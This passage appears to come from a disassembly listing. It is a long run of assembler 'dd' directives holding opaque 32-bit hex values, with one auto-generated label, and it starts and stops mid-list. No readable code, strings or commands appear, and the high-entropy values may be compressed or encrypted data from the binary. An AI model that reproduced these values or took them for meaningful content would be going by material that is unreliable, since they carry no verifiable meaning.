954A702Ah, 0AC6797DFh, 0E4A088E3h, 7BD75F12h dd 0EB807FA2h, 6939B22Ah, 0CFFD4786h, 8980131h, 1948544Fh dd 1F5560Bh, 0F0D86FDh, 5AEB046Fh, 0F0439A30h, 0EE1729D8h dd 6859F2E9h, 0F3003C74h, 622503A5h, 83554538h, 6C4560D7h dd 689EEF2h, 7D530102h, 0DDC63275h, 0E7684681h, 6563885Ch dd 0F1DC2F7Fh, 9B070484h, 0E04D38C1h, 0A654B910h, 0BD553B01h dd 530D4FD9h, 0CFE1F935h, 0F108287Bh, 265E72BFh, 0B852958h dd 6655BEB5h, 0ABD04D5h, 804A3C27h, 8E0944D2h, 0E7E97009h dd 4E1A7523h, 0C057A57Fh, 7E0B554h, 6C103440h, 8530E1B3h dd 4C468EEFh, 0B2B11708h, 2A257EB9h, 0F5E041D7h, 0C373CE30h dd 395299DFh, 65095AFEh, 0A2FD30DBh, 0DD1222A7h, 8B204494h dd 8AB33807h, 0EC7E3D58h, 9172B166h, 0B2520302h, 6BE90Ah dd 78055F33h, 2D79D815h, 38B74809h, 6800163h, 49EA511Fh dd 841EAF3h, 88965758h, 0D09534BEh, 9E750335h, 0BAFC475Ah dd 7F5A3C10h, 10537A32h, 0EFF298h, 32A114F9h, 68DCE681h dd 7A95AC78h, 5DA40212h, 0F38964CEh, 59B7761h, 0BFC784AAh dd 28179BE8h, 507AA657h, 460D5634h, 4B010268h, 4EE90800h dd 0C3ABF87h, 0B54EFC09h, 823BF6B7h, 32F2080Ch, 6F3F8D41h dd 5FF84030h, 0BA2E18D9h, 0CA310BFCh, 0B4BE977h, 0B92DB3CEh dd 0F9BFC4D2h, 3AFC0938h, 0B55D1CDDh, 4E443C74h, 9128190h dd 7D429580h, 23013114h, 0C11E4910h, 0C74102E1h, 79F54088h dd 2EA4A02Eh, 51D8EF53h, 0D0256A76h, 39E5B3AFh, 0B8A75F87h dd 0B9BBB05Bh, 751E4282h, 0D9CE2510h, 0FBB16C3h, 97CB13Fh dd 8192AE73h, 7C382866h, 273105CFh, 8A940234h, 0A586BCABh dd 1710A4EBh, 5D8A4442h, 15FCAD9Fh, 62BC7AC4h, 116654Bh dd 8F123839h, 9014202Bh, 1FCD5418h, 0ABDA888h, 0F1890BC1h dd 8DE901ADh, 2B64BE05h, 8EA4FC7h, 59118904h, 0C759ACBAh dd 0F1617781h, 13207145h, 7AC1FA4Fh, 0C5085C67h, 30A0B870h dd 591A29B1h, 6DB0D231h, 1A230720h, 0B37C89E9h, 65DFA38Bh dd 31680447h, 0A44FA941h, 0C4B7E2BEh, 37B35F5Eh, 15170E4Dh dd 11A1CC4Bh, 0A01127Eh, 28E2F381h, 0D02E3D54h, 479F501Eh dd 5B4C974Ch, 0E828A2C1h, 0C1FE612Bh, 0D9D7FC2h, 0B7A327ECh dd 93C2B4FBh, 10570B66h, 0D66DE27Fh, 0F5BADD34h, 70162F79h dd 897761EFh, 0F08C6F9Bh, 4E10B010h, 0EB0D8522h, 5B7CA3E3h dd 1C02530Eh, 89F8DE36h, 0CA5C6001h, 2781FE88h, 574BCAFBh dd 5304D967h, 0F9D7A968h, 0D721D452h, 3FE16898h, 7AEC8B5h dd 0DE8BAAE5h, 46AE011Fh, 6E597ADBh, 5C40B364h, 0B4B85055h dd 0DA1A4C38h, 14409C27h, 0BB176653h, 0D1AE61B2h, 49A3DEh dd 7034C8FEh, 5DC358D4h, 4DD18527h, 7FCF96BCh, 80AC0420h dd 28CC00EAh, 0E2885AD4h, 7E6C058h, 6E15F2F8h, 73D4C2E9h dd 0E8C7E8FBh, 0BAE7283Fh, 62DFFEFh, 0BF6D5179h, 592C3974h dd 4064012Dh, 9306FB0h, 45C1FD9Ch, 4E080B26h, 1BFACE01h dd 3F4424C4h, 366CBA00h, 813B53B8h, 1D27FECAh, 8085F66Eh dd 0D9AA489Eh, 5A5FD321h, 78337C07h, 0A990D7BBh, 1B5E97E9h dd 5EA22F25h, 0AE2D1694h, 84B8E100h, 304EED0Bh, 988115C3h dd 5B8F5CF4h, 1A9132Ah, 26729708h, 4C406A3Dh, 384E4CEFh dd 0FD2132CCh, 0BE00ECE2h, 79F02EACh, 20D8B02Bh, 315E6E51h dd 974EC181h, 8D44A82Fh, 0C97F93FEh, 3186015Ah, 0CB298Ch dd 6A1128C1h, 4EF10134h, 0E9BB2850h, 3092E530h, 0E1494568h dd 0D2B5A37Fh, 7F6E4A00h, 4EE9269Ah, 0F08585EEh, 712D6842h dd 0C217DE3Bh, 14D7887Ah, 47FA20EFh, 96BD2B90h, 1298820Bh dd 2AF05539h, 0C6E9F980h, 0BD8B00B5h, 7AC35BA3h, 3298252Dh dd 0DF251EDBh, 524951A2h, 3462D856h, 0D7CB095Ah, 896F56C9h dd 0C5DD212Ah, 0A09796EBh, 0D609B9BCh, 0C077237Dh, 0BFD33386h dd 0FD72C8D4h, 331AA501h, 0DC822FB3h, 90F70B7Ah, 260380FAh dd 409816E1h, 2175AC67h dd 4B5785A2h, 1B0C058Fh, 0BB60A422h, 8045CA1h, 20BDA9C2h dd 666918E3h, 3A80465Fh, 4AB3B76Bh, 0EB3384CBh, 5E0658D8h dd 1524824Dh, 3A05EF48h, 1F965C14h, 504C20EAh, 9AD6E053h dd 0AB70072h, 5B66F828h, 0C001DF24h, 0D0F603E0h, 0C3F4852Ch dd 945A4C58h, 0B9094020h, 2446B55h, 7F59C8D3h, 6656ED31h dd 9E6802AFh, 54608729h, 0DF95B59h, 0C0877C21h, 2FDB2C74h dd 1C507F53h, 80737543h, 56C53558h, 96982B0Ah, 0B7C39044h dd 0CDF6075Ah, 1241874Fh, 301F3B93h, 0D73720ECh, 0F2A4CC2Ch dd 6B887F16h, 84063B01h, 3F214453h, 0C35EAD2Ah, 0B7BC21E9h dd 13E6DF79h, 6D164D4Fh, 0C951CABBh, 9F595556h, 37A5E961h dd 0F95ABC73h, 10E404E7h, 99E234ECh, 340E2D8Ah, 7D64AFA0h dd 2F64F50Eh, 35DD664Fh, 0E26C317h, 5DFA833Dh, 88E6C5D5h dd 0C62880F9h, 3D6D6A3Ch, 1777934Ch, 0D6C84D4Bh, 4A680552h dd 0B47EB83Dh, 51A8C401h, 0EC3B5D88h, 2E084118h, 2463F908h dd 5E1A0971h, 0AE95185Fh, 0E9CA483h, 28DD6CAAh, 50E8C9C0h dd 0D2A07F5Fh, 5AB8A548h, 54B5E8BFh, 5FBAB504h, 40664DFh dd 6A3EBCE2h, 0F20B1F61h, 256EFC57h, 6390A2FFh, 4C937A62h dd 48B00B93h, 0A1EE1135h, 442D1E00h, 31B417B5h, 0BF584FC1h dd 887A1029h, 397F835h, 0B9525F9Bh, 9C2F5D7Bh, 5F925A89h dd 7AEE6827h, 0DC9A20DCh, 8ECF8102h, 5726041Ah, 4E32E868h dd 0C7EE2260h, 3FD501E0h, 814EE969h, 6B38BFA9h, 0C660D9A1h dd 499E6015h, 8360BEF3h, 30ECED50h, 321C7004h, 8287CB01h dd 102DE130h, 2C436037h, 7B9B0669h, 0CD0FE917h, 0C2B89D30h dd 6254001Dh, 0C8F6852h, 0E97467F9h, 0C36E229Dh, 486C414Ch dd 0B7EFF46Fh, 0D1BD8E70h, 5BFE4283h, 2F601DF6h, 9D28A45Dh dd 0F28BC6E9h, 3ECB67D5h, 48E5F65Eh, 70D201F9h, 49E91BF4h dd 0F9BF7181h, 40182F35h, 0F511C5F6h, 0FD89D30Bh, 5E398B5Fh dd 71504BB6h, 8CAA384Eh, 3F1B6742h, 98D40C70h, 0FC283C20h dd 4E94B8DEh, 254E403Eh, 6855C117h, 40580C02h, 0D85DE977h dd 0AABF0F80h, 116BE3Dh, 252C7F72h, 0BBA57FBBh, 5ED7E9CCh dd 1C6E3123h, 1F362E4Ah, 3B842098h, 0F555E8CBh, 0D35F299Ch dd 0B6529E80h, 50660220h, 0C62833B0h, 0F0A2C6E3h, 2C25BC41h dd 0CA311613h, 7DF66A4Bh, 35E47A66h, 0D5295625h, 0B24C6C65h dd 6D152CBEh, 0CE810530h, 1660C26Bh, 0F449445Dh, 9365247Ch dd 37D42CEDh, 8184CBA4h, 3A5FF198h, 4A342ABBh, 0A0502FE8h dd 1CE4961Eh, 0F91844B9h, 2808C31Fh, 3A0302E9h, 0E0745E44h dd 36F80106h, 14B3045Eh, 68665902h, 137276DFh, 29586FEEh dd 0F620D83Bh, 0E20C814Ch, 88AAA781h, 0AAC745C5h, 76056A09h dd 7B5E5A51h, 1C6F0961h, 828F6930h, 0B1994057h, 43DC0130h dd 0F5068C35h, 0D0F46EE2h, 6F8481EEh, 1C8786C1h, 0A914647Eh dd 0FCBDD7BEh, 0A79A39A5h, 0F33CD5C8h, 4AF2624Dh, 245F64A0h dd 9F7E23h, 57910CEh, 0DE5FF708h, 0C519D0B9h, 6B5FAA7Dh dd 90EF7688h, 0F7F650A9h, 0DFF7C93Eh, 0C01EAE55h, 7165889Fh dd 759D21h, 0A00C185Dh, 0BCE9831h, 1FD419FEh, 4F1CFADCh dd 570D8064h, 0D8A868B2h, 152A16AEh, 0F119B421h, 5456EE05h dd 7376CA89h, 58974E3Eh, 0ADC7B6FDh, 0A26E5881h, 16FB4BACh dd 8492B431h, 0D639C351h, 80B1A9D7h, 0A83CBB63h, 4285B501h dd 5D8142C7h, 165F0205h, 5C1D2758h, 7568A110h, 0C435714Fh dd 0EA3DD5FEh, 4BE926B0h, 0EB41C59Bh, 0B15F5EE3h, 6B32FDC5h dd 77EF06C4h, 933FD37Bh, 2DFA1A4Eh, 0EF735405h, 74E9C2B4h dd 0E97CB6E0h, 425D6809h, 0DE700CDh, 285D7E5Fh, 8294F229h dd 335A6108h, 0F7038105h, 0B6A551Ah, 1DE652A6h, 533AB401h dd 0DFF66CB7h, 0E9D70585h, 0BB22E0D8h, 2992069Eh, 0AF1B42BBh dd 6CC02774h, 0A9DE59B7h, 1B89D6C5h, 10132D85h, 0D5074E3h dd 0B4EE047Bh, 0EEC889D2h, 2FA914A8h, 0E21C6D69h, 164D6228h dd 7B5F79B5h, 38EB200Bh, 0D83CA5B3h, 0E81E6858h, 0CD96272Ch dd 0CE0AE92Eh, 63E56885h, 0E30980E3h, 0B9FC3F0Fh, 0A5131801h dd 0B13A2945h, 0AB0804A3h, 41D6712Ch, 5C9B2083h, 0FE5FC816h dd 0E8899280h, 88355FE9h, 611355DEh, 0FCE87671h, 630B904Ah dd 2E481F30h, 4DD21F75h, 9A0C5359h, 832F3DD4h, 29A7FAA0h dd 9BE6095h, 0BEE910FEh, 0BDBB056Dh, 23D0287Bh, 0C35A2D05h dd 5EF9EB4Eh, 4B581FFAh, 571D2295h, 0B9A1D5CAh, 0B9EB83D3h dd 313A86BEh, 0D37E4941h, 7822EFE8h, 17BCFE77h, 5D0D205Ah dd 0F679815Eh, 20941A02h, 0D2DABFE9h, 243DF82Dh, 42BEBh dd 32932D59h, 3FA028Bh, 0F674F59h, 0C23D1AECh, 8705F029h dd 0E6605E07h, 0FA761164h, 68570BD8h, 0BB00C12h, 13003ECFh dd 0EDB7BF7Ch, 0A1019DA6h, 0B3D5E98Bh, 97052D34h, 622C85DCh dd 298861D2h, 0A82A3875h, 26A0E423h, 27BA4352h, 0C28E57E9h dd 78D031A9h, 0DC2CAC3Dh, 3697502Eh, 0FF5A2AC9h, 1408EBCh dd 7AE91257h, 73F6BEC5h, 0B3A104D3h, 845E0B8Ch, 5D005552h dd 7AD962BAh, 0F55DF07Bh, 0D55B2DA6h, 40681D38h, 0CEF21E4Eh dd 0ED2B01D2h, 6E134D0Bh, 805C2B5h, 8BE03DFAh, 55B588B6h dd 92CFC3Ch, 9C09BF47h, 0D91F29EAh, 99E9C168h, 0F2800013h dd 0D0280241h, 4310685Ah, 0F64A09E6h, 0EF0B1EFAh, 2C50745Ch dd 0AC4A8B84h, 4986EE39h, 2C2F18E9h, 0E9147997h, 0C70192FFh dd 29B70BF4h, 8BE91EF1h, 5A1A415Ch, 0A16AFD6Ah, 0D5C00AF2h dd 9EFEC49h, 341D57C4h, 389EAA8Dh, 29BE0E5Ch, 6872E133h dd 0F32C04EDh, 0FC31F0C1h, 38137B70h, 0CEB580FEh, 0FA4B95E4h dd 79F80685h, 4E075874h, 988B972Dh, 2FEE44DFh, 0E77E3693h dd 95A05ABDh, 0ADF8BF70h, 515DD69Dh, 0B5B605Bh, 893774B7h dd 0FB6E60D4h, 52685D09h, 0AB361A29h, 0E5627569h, 3008BC82h dd 904552FFh, 48E5B74Ch, 0F8155FA5h, 20FC4C25h, 90B0215Fh dd 4F9B0848h, 0ED7EDBE1h, 0CF81C0CCh, 5CAA0E90h, 396EBB68h dd 403D0972h, 752CED06h, 187BED07h, 0EEB341E6h, 0BA160372h dd 21C811E0h, 8B5FFDD2h, 8365FD32h, 0F9015912h, 4B1A56B7h dd 3F08A13Bh, 5C0503F8h, 0C0258D2Bh, 0FE7183A1h, 0CC01113Fh dd 58084031h, 45C2C3BCh, 0CC5AFDF6h, 701F8E38h, 59B8EE9Fh dd 0E25A4925h, 0FB70E1ABh, 662BE00h, 0B92AD101h, 6A6365A3h dd 492CAE3Eh, 8F79B789h, 6107CF68h, 0D7C975D1h, 52CFF4A0h dd 280C7469h, 0A17E1F68h, 5F904089h, 772B429Dh, 530230EDh dd 5D8592E9h, 1259C4A2h, 1141677Dh, 0F3E909FAh, 5A7DD2E7h dd 8A8F129Dh, 52D0D9A6h, 3F80D840h, 0EC364B0Eh, 594E7A3Ch dd 12C575F0h, 4CC960h, 0D79C450Ah, 0E9040182h, 1C4F095Dh dd 2D2FC2EDh, 9EFD9E0Bh, 0CC681611h, 0DDE4E322h, 0D2204E6Bh dd 4275DFAAh, 3D4CEC8Eh, 0CB87F3h, 6B670A18h, 0A330E958h dd 0C780822Eh, 9D5EF018h, 7F020551h, 0F6236954h, 0E19013E2h dd 5BF12BE9h, 6441C8C1h, 5B03F926h, 87307205h, 0B695AE54h dd 0C8EB7784h, 2BF9C52Eh, 0A26A289Dh, 0C444816h, 7E424C18h dd 16FE7348h, 0A0CDE906h, 0EB278869h, 39D95459h, 5AB576F6h dd 0B2B3B0F3h, 7CD3C1EBh, 9AD83D57h, 62A8C688h, 182FFF79h dd 99FB2105h, 982A302Fh, 94ACCE9Fh, 5B5462E6h, 67CCF780h dd 0F1BD2F0Fh, 60938AD6h, 0EEEA4CB8h, 6948B1E0h, 2D2720A2h dd 145D215Ch, 1D509DDAh dd 7115719Fh, 0F529CA8Bh, 69EAE4E8h, 71F93801h, 20B7685Bh dd 0D9C2562Ch, 0FD1527h, 0EAD82B79h, 0AA50BFA0h, 98CC2F20h dd 0B9683D06h, 0EE2831DBh, 0F2D02FD8h, 7BBD041Eh, 6F63346Bh dd 3A57EC35h, 0A2E49735h, 894100FFh, 0E95659CAh, 0A9BA6C30h dd 5DC068FAh, 0FF92C765h, 0DDEE0D5Ah, 46C1FEEAh, 90FA2C95h dd 8E3502FCh, 83890417h, 2738FADDh, 20606420h, 83266802h dd 6A52FF33h, 0B047DD0Ah, 0E20182B4h, 2E7B4240h, 3F2CE17Fh dd 60CD4AD8h, 68D3E7C9h, 0F2A96B7Ah, 8EA26FD8h, 5CBDA95Bh dd 72D5B1F0h, 291F6806h, 489DA22Dh, 0AF39CF00h, 5A5054Ah dd 0E9609802h, 0A1ACA9h, 0C12891BBh, 2FAEBE1Fh, 0C65CD53Ch dd 5EF38985h, 0D5494D87h, 0AD607A9Ah, 489F63E5h, 0AAD24BEDh dd 88B1F1D9h, 0E724A437h, 0A5997E2Fh, 0D8D34A55h, 5A8EBC88h dd 0E2F7F95Dh, 0FB758AE1h, 8512BE53h, 0C520F9F2h, 0C4EE89h dd 0A2EB6F95h, 4DEC10A6h, 33ED144Fh, 7A924338h, 1012F833h dd 0B001CE86h, 0B5516670h, 49AA3EFDh, 4A7079E0h, 0F327587Ah dd 0E188435Ah, 0D1502EF8h, 3D1426CFh, 9EBC11DFh, 0B1512E60h dd 68646621h, 0C6A1BCCBh, 0B93AEF4Dh, 3CAFD201h, 0AA25E95Bh dd 55C212AFh, 54546E4Ch, 194AD3BFh, 0FF2109A2h, 2429F008h dd 30742515h, 96AE0CB4h, 1A26E43Ch, 5F4BD848h, 8681540h dd 0D6791F48h, 60572DFEh, 7834E9E4h, 8FE07B70h, 295240B8h dd 4FA6D348h, 0AE3ADEF1h, 55A0993Dh, 52B84A92h, 5EE4804Fh dd 494F6647h, 1EF064BAh, 0D40B220Ch, 0F82EC956h, 0B877955Fh dd 968570Ah, 19E01D97h, 607CAED5h, 51182620h, 0A035AE9h dd 429BFE02h, 0E77DB4A2h, 2FE02484h, 2DE2E1E0h, 0E91246EAh dd 20AAF3B6h, 0E0B4EA87h, 0ADC3353Eh, 0B332788Ch, 1138AC1Dh dd 6391256Dh, 0FE1A4B56h, 0A25EFC9Eh, 2DEED670h, 0DDDE3EEAh dd 0DEEFE45Fh, 77295F40h, 0B3E630DAh, 34D8C2F3h, 0D1FC4D5Bh dd 6F0B8405h, 29B1ABA9h, 0E5B85545h, 4864E9B0h, 0EF818BB4h dd 6E861050h, 0B4EECA20h, 18E8B06h, 0E800EAC6h, 8131695Ch dd 5075A0F5h, 6C198A05h, 74E48D8Ah, 543B6624h, 1954520Ch dd 774B06E2h, 0A64212E8h, 220EFD02h, 53D6892Ah, 0E5C600A5h dd 683B6C62h, 59636E2Ch, 8225DEC0h, 0CE09257Eh, 0A85964FFh dd 80942DBBh, 3502E1BBh, 0F74B1540h, 82D156DBh, 0FEEF01D0h dd 0CBA27B78h, 0F06A29FFh, 0B8634D09h, 0FE10F664h, 813E5169h dd 4BE1327h, 22E4CBF5h, 8C3697CEh, 2F56CDBDh, 68120216h dd 508C1A45h, 0EA3126ECh, 5EF013Ch, 217A0E12h, 39EC2B8Eh dd 0AFA7E93Fh, 32F2A346h, 0F8958BBAh, 0D62D11BBh, 84AF4B15h dd 0D5B0BA92h, 0D8D69F59h, 88055C52h, 3009DDAEh, 9575C6E8h dd 87743A7Fh, 27AFDFB5h, 0C9D04105h, 76796711h, 27F1051Ah dd 0AE0E2A3Ch, 8EEC6312h, 0D0F54401h, 281FE975h, 1858302Ch dd 0A206BA7h, 4ED6F742h, 9453009Fh, 0F001BDDFh, 1CBD5E4Eh dd 0EB6D989Ch, 7006A9C6h, 95A11EFh, 72ECA12Ah, 0B9E2A28h dd 0A656CB44h, 0ED1FA560h, 946934Fh, 9304F287h, 9D1E1259h dd 0AC162210h, 91BB0E66h, 0C9C27598h, 3EB44D01h, 0FA875B5Dh dd 0BAB4F7C9h, 9BB91C08h, 0DA0508D7h, 61AF5EE3h, 0E62DD6D0h dd 23950E05h, 7B4D029h, 78038D69h, 780F1543h, 4A7045Bh dd 55B405F1h, 0EAC13C5Fh, 742277Bh, 0F93DFF5Ah, 31230535h dd 43B85BDDh, 23E4BBD3h, 6C9827E9h, 4F5380F4h, 8C6684F4h dd 1AA0524Dh, 67C73C56h, 3183CAB3h, 1595A85h, 1B28D440h dd 0D40CAF58h, 612B42F1h, 32591B7Dh, 4D12F7D4h, 47D186E0h dd 1737E63Eh, 88AA52EFh, 0ECF30425h, 0F1B52B6Ch, 0C75D6BFAh dd 0C46CA5BEh, 7485DB5Bh, 0C285F3FBh, 0E4689DE9h, 8E2F3D88h dd 0C8314E0Fh, 0EC39B1A5h, 70F1C56Ch, 814775BAh, 73C0C9B4h dd 0E35B731Bh, 54E132ABh, 3116BBD0h, 0DBFC5AD3h, 0D0405148h dd 0B54B0485h, 94E4E948h, 83B6AF4Eh, 0A88FA764h, 2BE34E86h dd 0AF48F0C4h, 0B6808024h, 268F6E2Ah, 0A730198h, 856643B7h dd 445EDD68h, 0F87D71FBh, 44588730h, 0BBFB8743h, 0E90B0A47h dd 0AFF78211h, 655DFAC2h, 9E9C147h, 0F51D8F76h, 0F137EC4h dd 15ECC717h, 0BB776E84h, 6681EBB8h, 0D00631B8h, 3378DB35h dd 4AC60132h, 0C15B5FC0h, 26389A3Dh, 82765D16h, 0EE160D8Eh dd 0F54DDE6Bh, 0E27FAADDh, 0F4E91A53h, 90027F71h, 795D58C5h dd 7AE95857h, 483AFD6Bh, 0B5509D22h, 0F40F3B33h, 0EE4034BBh dd 53CA4660h, 0F42AF1FFh, 68125807h, 0ADCC4D50h, 0F6D44BFFh dd 0FB257A4Eh, 53E67727h, 0BB39B20Ah, 1702B415h, 862D60B7h dd 5A651381h, 3EDBE9C2h, 2E16135Bh, 90F57CA8h, 0AA6AA08Ch dd 5D6374Ch, 0E133972h, 3E180DF8h, 84347C64h, 3D852C39h dd 0F84EFFA4h, 21D6C4ECh, 3423F750h, 0E617B01Bh, 67A1DF86h dd 779BA06h, 4572CF0h, 3F5A2674h, 0DC7A50C9h, 10714ADBh dd 2EBB029Fh, 77432230h, 321EE601h, 66E07A0Dh, 9F4B7028h dd 5352375Ch, 25CB0949h, 0F430F9F2h, 0ACBD0C64h, 18172748h dd 0CC81F0C1h, 12016F40h, 0E9EA09D6h, 4D87799Ch, 0C56A88F7h dd 8DA00126h, 7BD87791h, 434CDDD1h, 0CFE52981h, 30429D30h dd 701D9A49h, 90E625E2h, 0B8246A18h, 7A0279DFh, 1EAC303Fh dd 5A4AED39h, 5755F700h, 0DE86853h, 9CDCA0E7h, 9483A23Dh dd 50072D3Fh, 1850CDDEh, 0E799D57h, 250213CAh, 4CC64A84h dd 9D6B250h, 1E13074Bh, 55F04E89h, 0C19DB19Fh, 302EAB65h dd 0FE736501h, 6BF24090h, 1EC7B7Fh, 3EE9F54Ah, 58AF8A96h dd 4B92023h, 0E37825BBh, 0E4688057h, 4F76B53Bh, 4E137DF2h dd 89002A8Dh, 49514052h, 0F8E8B709h, 332FFBFDh, 0F7AFC0E7h dd 83B6D0h, 0C58AA905h, 0C24A09F5h, 124527A0h, 0B1F00C0Eh dd 12A30A2Eh, 624C233Dh, 7BB10451h, 4D8A2E01h, 0D95E650Bh dd 35F83007h, 7D8A034Eh, 0AA1C8B12h, 533AB3A2h, 0FDCBBECBh dd 0A37A7D17h, 97A24EF3h, 70210981h, 76EE8202h, 49569129h dd 0D62050FDh, 0E16B101Bh, 79BA0071h, 69E95997h, 3CB9C9F2h dd 0E54B3D47h, 38D6AD10h, 0A2F95772h, 0B12AB7CDh, 3E742B54h dd 3B06BDAEh, 8E51956h, 0EDF00606h, 53520B07h, 4A772DB7h dd 0ECDADF0Ch, 2D226F20h, 67595EB4h, 56494467h, 0BE306AAEh dd 4BE30316h, 0FB8A2121h, 512160Eh, 0BA4568E1h, 0E5AA0435h dd 6F73F4B9h, 0F81429B5h, 0EED8F877h, 7B0197C2h, 713034B5h dd 7C080A3h, 667FF580h, 2F233A68h, 97B69761h, 5AE0F708h dd 8868E580h, 0E1129B28h, 0D9D222E1h, 0E90DB168h, 22128A5h dd 9A0F4FB9h, 0F912C03Fh, 7F4027A3h, 0FD75605Fh, 2760BD5Fh dd 1A2D41D5h, 2FAC400Ch, 0DE70E30Dh, 65903F6Ch, 0A1C00127h dd 0D4B2A3FBh, 0AE2C9790h, 1140401Fh, 0F647DD2Dh, 0DE81B7C5h dd 2B42F780h, 684820EEh, 0BAA62CA1h, 8010B207h, 0C23341CAh dd 0BE06383Fh, 0E90AAD48h, 81FFBF3Ah, 0D1199CEBh, 57F57B13h dd 2D170805h, 25672BBBh, 1EA74291h, 81389512h, 6C0A6348h dd 0E2E8D10Fh, 5F28D310h, 7D580991h, 787E26EFh, 0C0FA2112h dd 4A313433h, 83A80C4Fh, 0E2F79C48h, 0D6D6E42Dh, 8527C760h dd 0E200974Fh, 0E9033B6Dh, 5FBCC059h, 41BE3EB0h, 214C3C6Eh dd 0AC4F3C79h, 83E9C27Eh, 0A7D45796h, 7EE568C2h, 29F78818h dd 1E04D02Fh, 0CC36040Eh, 681625F5h, 1D1E312Eh, 9957C96Bh dd 0E87A5035h, 0D0EE00E0h dword_4F7044 dd 523D711h, 0D825174Bh, 40F4F80Dh, 894B5E07h, 804C34EFh dd 1A17BDBDh, 9AC2658h, 0F7B671B1h, 25226D81h, 0C50360AFh dd 0C002101Dh, 724DE9C5h, 0BAC11D93h, 2908E40Bh, 49E6F2E3h dd 0C550EF86h, 2C8DAD4Eh, 2A645DE0h, 96C66CD2h, 93FF7947h dd 39FD5AF2h, 0C43A5D04h, 7B5AEC07h, 368DA09h, 451B5F17h dd 17DE0A5h, 2FE9EA5Eh, 4B294492h, 0DB501865h, 3F0E2D75h dd 9EC20E00h, 0B74B1F4Fh, 56012CFBh, 0C32AD6B0h, 4FA3FB1Dh dd 0EF0A7CB7h, 2E62863Dh, 12301731h, 1619AEC5h, 9D4FB0E9h dd 0C7FEECB2h, 175C89Dh, 0C3BA8058h, 2ED26516h, 1F281F0h dd 2167371Dh, 0AD42D7E9h, 0DF2D62D7h, 889C5258h, 25B80B96h dd 3A58CD4Ah, 0E97E70EBh, 49A20E8h, 0F206EA63h, 0F05DD979h dd 675D37Ah, 392F6B7Bh, 1E19F53Dh, 28CC2A8Bh, 60814169h dd 2E49BC7Dh, 0CAD3962h, 81CFA2Dh, 3E1F7A80h, 5B0D829h dd 0FE68570Fh, 0F9E986A9h, 73C6220h, 3F440B5Ah, 0C5838FA9h dd 41FAE14Ah, 0F87B1EF6h, 5165EC2Eh, 0F1073692h, 1D889268h dd 0D7A0DAB2h, 0BD035CEEh, 14C1F8Ah, 8FC1CC53h, 5D3D16F6h dd 29718305h, 209CA13Ch, 13CC169h, 0AE1EE0B0h, 0D2911C86h dd 9EC5FB18h, 5510B0ECh, 57561D66h, 56DCF1C9h, 20BA7135h dd 0DB98584Fh, 820BF23Ah, 0A2E9020Ch, 4191D775h, 0BDE37BD6h dd 2FF96802h, 0CE5637B7h, 42112102h, 0C37C30h, 0BB535047h dd 8EC3913h, 24A17B8h, 0EE4A99ECh, 7CE629C8h, 0A19DBA60h dd 0B501A830h, 2A9D60C4h, 12B9CD9Fh, 4A260B53h, 54B07971h dd 90BF67D2h, 0ADC14F3Eh, 0D901027Dh, 0C4A976E9h, 2C5CB709h dd 0E780C924h, 0F7124D5Dh, 0BA5200D9h, 79387FDFh, 2601EA81h dd 0E974A80Bh, 40A4F592h, 80E503A2h, 569F21C5h, 62950617h dd 6E3084C7h, 0AB575004h, 0F2BAFC24h, 0E188CD02h, 0AEE1F8h dd 56397D09h, 28784168h, 7C5E1E26h, 7224093Fh, 8B075F58h dd 5701B805h, 662BF66h, 0E4204FD1h, 6C2A3DE7h, 0A6DFF794h dd 0BD04FE20h, 6106BD6h, 160E8483h, 0AA05AD80h, 555E49h dd 845BAC73h, 0AB5F4B0Ch, 0C78092D0h, 0F8283FC0h, 9301E74Ah dd 7438020Bh, 9D84E9E8h, 20F799ECh, 669D2B0Fh, 21E46863h dd 0E0FB03DDh, 0B6D9EF93h, 0B416804Eh, 4E4C099h, 0FEEC2F80h dd 0E905D676h, 0E52024E6h, 0F2C7F582h, 0FC87B821h, 1C1E61F4h dd 0E0C39D61h, 4D9E1D93h, 74705159h, 9B88090h, 3DC25014h dd 441E5E9Ch, 530CF282h, 565D69h, 0BE105A93h, 0D589130Ch dd 46905A71h, 76656800h, 0C7E0C75Bh, 3F594189h, 0DA501E23h dd 310F56C9h, 2CB7FB4h, 6E8DE95Fh, 2B3F8425h, 4A0642B1h dd 725D89Ah, 404A1ADAh, 505989C1h, 0A278AE3Eh, 181D2A68h dd 0C15924F1h, 0EB56AD65h, 76C881E9h, 0E9415F3Bh, 0EF053629h dd 0F7038F8Ah, 195268E1h, 4D735312h, 59E3FCF8h, 0D1DCB7FBh dd 6001C593h, 0C6017AF4h, 2C2D4FC2h, 0DFCA785Ah, 2607A488h dd 1C5692A2h, 0C5B0A092h, 0DB520A03h, 93D8F716h, 2234F0D0h dd 35303D1Dh, 8C865118h, 0B98041D5h, 37130944h, 0B6A02118h dd 0E449ECF3h, 17522548h, 0ED12101Ah, 0A06EC0A5h, 0D7975367h dd 17492998h, 1A41B43Fh, 0A11CAA70h, 4DB151A3h, 7130802Eh dd 6070E980h, 0C175F175h, 0A394F59Dh, 0FB75302h, 0DF5BF930h dd 49AF2D02h, 0B9FA8803h, 0E823CE0h, 254C685Ah, 5B62C0FCh dd 1CDA0BEEh, 0FB2EF409h, 3331D71Fh, 5A66B1Dh, 16E350Bh dd 2000B974h, 52054709h, 2E579554h, 0FA586A1Ah, 7540281Eh dd 0F5814521h, 2F3E0391h, 5DE83146h, 5CE9C7D8h, 9ADC854Bh dd 80F24929h, 0E2CC925Bh, 0DC691A7Eh, 0A9774999h, 9DF17FC9h dd 128AAF6Ch, 0B82B8D5Ah, 0F0F30E49h, 0BC0B73CBh, 476C7F53h dd 3469509Fh, 0AE1A89D5h, 0F10093E1h, 9E548285h, 0CA6CE2D3h dd 0FC861C57h, 8A874F74h, 0ABAC4A22h, 682C01D3h, 303CAE57h dd 4F030DF0h, 0A3E96138h, 0BDD976A6h, 3573EE90h, 0EAA76082h dd 1E3E04D1h, 0C4CA2927h, 0C08123Ah, 0C63FFB16h, 3A4E0132h dd 0AB94D720h, 7B07C906h, 257E3023h, 0B45E05B2h, 0A907042Ch dd 0BF52CE70h, 4398D594h, 0C082F88Eh, 12849103h, 90319EA6h dd 1BE95531h, 0D635635Ah, 0DC50B71Dh, 0C2017E5Ch, 7486C5Dh dd 0BC0E814Ah, 293BD4AAh, 8D859732h, 0B772BCA6h, 0DF69B9D2h dd 7C0256B0h, 202773BDh, 4BDC28BDh, 0C3514B8Dh, 0FD021237h dd 0FC264CEAh, 4FF9E150h, 0BE68073Ah, 0C136C50Fh, 0F55EF3B3h dd 48CF8058h, 4004E8C1h, 0E3F0B2Dh, 0D9DE26A9h, 635E3810h dd 6E4F5645h, 5E2509FDh, 0A0B56655h, 0C326A895h, 